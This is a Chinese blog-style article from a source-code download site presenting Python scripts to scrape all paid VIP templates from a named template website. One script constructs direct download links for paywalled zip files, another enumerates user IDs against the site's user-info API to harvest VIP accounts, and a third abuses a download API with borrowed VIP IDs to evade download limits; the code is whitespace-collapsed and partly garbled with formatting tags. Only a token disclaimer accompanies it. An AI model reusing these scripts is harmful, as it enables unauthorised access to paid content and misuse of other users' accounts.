菜鸡源码,专注精品下载!
当前位置:首页 > 建站教程 > 建站知识

Python脚本实现对xx之家整站VIP资源的爬取

发布时间:2024-01-05  栏目:建站知识   浏览:   分类:python教程 Python脚本

Python扒光xx之家整站vip资源脚本是一种利用Python编程语言编写的自动化工具,用于抓取网站中的VIP资源。这种脚本通常通过分析网站的HTML结构、请求数据包和解析响应内容等技术手段,实现对网站数据的抓取和提取。然而,这种行为可能侵犯了网站的版权和隐私权,违反了相关法律法规。因此,我们不建议使用此类脚本进行非法操作。在学习和使用Python时,应遵循道德规范和法律法规,将其应用于正当合法的场景中。

解析全站VIP zip 包地址

defdown_url(id):#构造http://down.主域名.com:8020/cssthemes6/skk-0610-19.zip的地址即可下载url=f"{BaseURL}/cssthemes/{id}.shtml"resp=requests.get(url,headers)html=etree.HTML(resp.text)a=html.xpath('//*[@id="main"]/div[1]/div[2]/div[1]/div[3]/div[1]/div[2]/div[4]/a[1]/@data-url')[0]data_url=a.split("/")[-2]d_url=f"http://down.主域名.com:8020/cssthemes6/{data_url}.zip"#修改处s='%s,%s\n'%(id,d_url)print(s)#控制台输出urldefone_page(id):url=f"{BaseURL}/cssthemes/index_{id}.shtml"resp=requests.get(url,headers)html=etree.HTML(resp.text)a=html.xpath('//*[@id="main"]/div[1]/div/article/div/ul/li/a/@href')foriina:d_url=i.split("/")[-1].split(".")[0]down_url(d_url)if__name__=='__main__':foriinrange(1,689):one_page(i)

2022-11-30 更新用户取 vip id程序

defuserinfo(id):"""取openid:return:"""url='http://vip.xxx.com/apishenji/userinfo'#aHR0cDovL3ZpcC5jc3Ntb2Jhbi5jb20vYXBpc2hlbmppL3VzZXJpbmZvheaders={"User-Agent":"Mozilla/5.0(X11;Linuxx86_64;rv:91.0)Gecko/20100101Firefox/91.0","Referer":"http://www.xxx.com/"#替换成地址}data={"openid":id,"phone":"","id":id,}try:resp=requests.post(url=url,headers=headers,data=data).json()['myvip']print(resp)except:passif__name__=='__main__':#foridinrange(102898,747312):foridinrange(2022113000000000000,2022113008175495000):#年月日时分秒毫微.....[color=rgb(169,183,198)][backcolor=rgb(43,43,43)][font="][size=9.8pt]datetime.datetime.now().strftime([/size][/font][/backcolor][/color][color=rgb(106,135,89)][font="][size=9.8pt]'%Y%m%d%H%M%S%f'[/size][/font][/color][color=rgb(169,183,198)][backcolor=rgb(43,43,43)][font="][size=9.8pt])[/size][/font][/backcolor][/color]#取用户信息userinfo(id)

ID:

importrequestsfromlxmlimportetreeBaseURL='http://www.xxxxxx.com'#自己改一下headers={"User-Agent":"Mozilla/5.0(X11;Linuxx86_64;rv:91.0)Gecko/20100101Firefox/91.0","Referer":BaseURL}defsave_data(s):withopen("模板下载地址.csv",mode="a",encoding="utf-8")asf:f.write(s)defdownload_url(li):url='http://vip.xxxxx.com/apishenji/down'#J2h0dHA6Ly92aXAuY3NzbW9iYW4uY29tL2FwaXNoZW5qaS9kb3duJw==data={"userid":"100000",#VIPid{"code":-4,"msg":"下载次数限制"}根据code替换id,自己脑补"mobanid":li,"screkey":"undefined",}resp=requests.post(url=url,headers=headers,data=data)resp=resp.json()['data']ifresp!="":s='%s,%s\n'%(li,resp)save_data(s)else:print(li)defone_page(id):url=f"{BaseURL}/cssthemes/index_{id}.shtml"resp=requests.get(url,headers)html=etree.HTML(resp.text)a=html.xpath('//*[@id="main"]/div[1]/div/article/div/ul/li/a/@href')foriina:d_url=i.split("/")[-1].split(".")[0]download_url(27766)if__name__=='__main__':foriinrange(1,689):one_page(i)

只是测试了一下,不要干坏事,不要干坏事,不要干坏事!

VIP账号每天也是有下载次数的限制的!有用的加个热心吧!


评论
建站知识
建站知识
使用技巧
调试安装
运营推广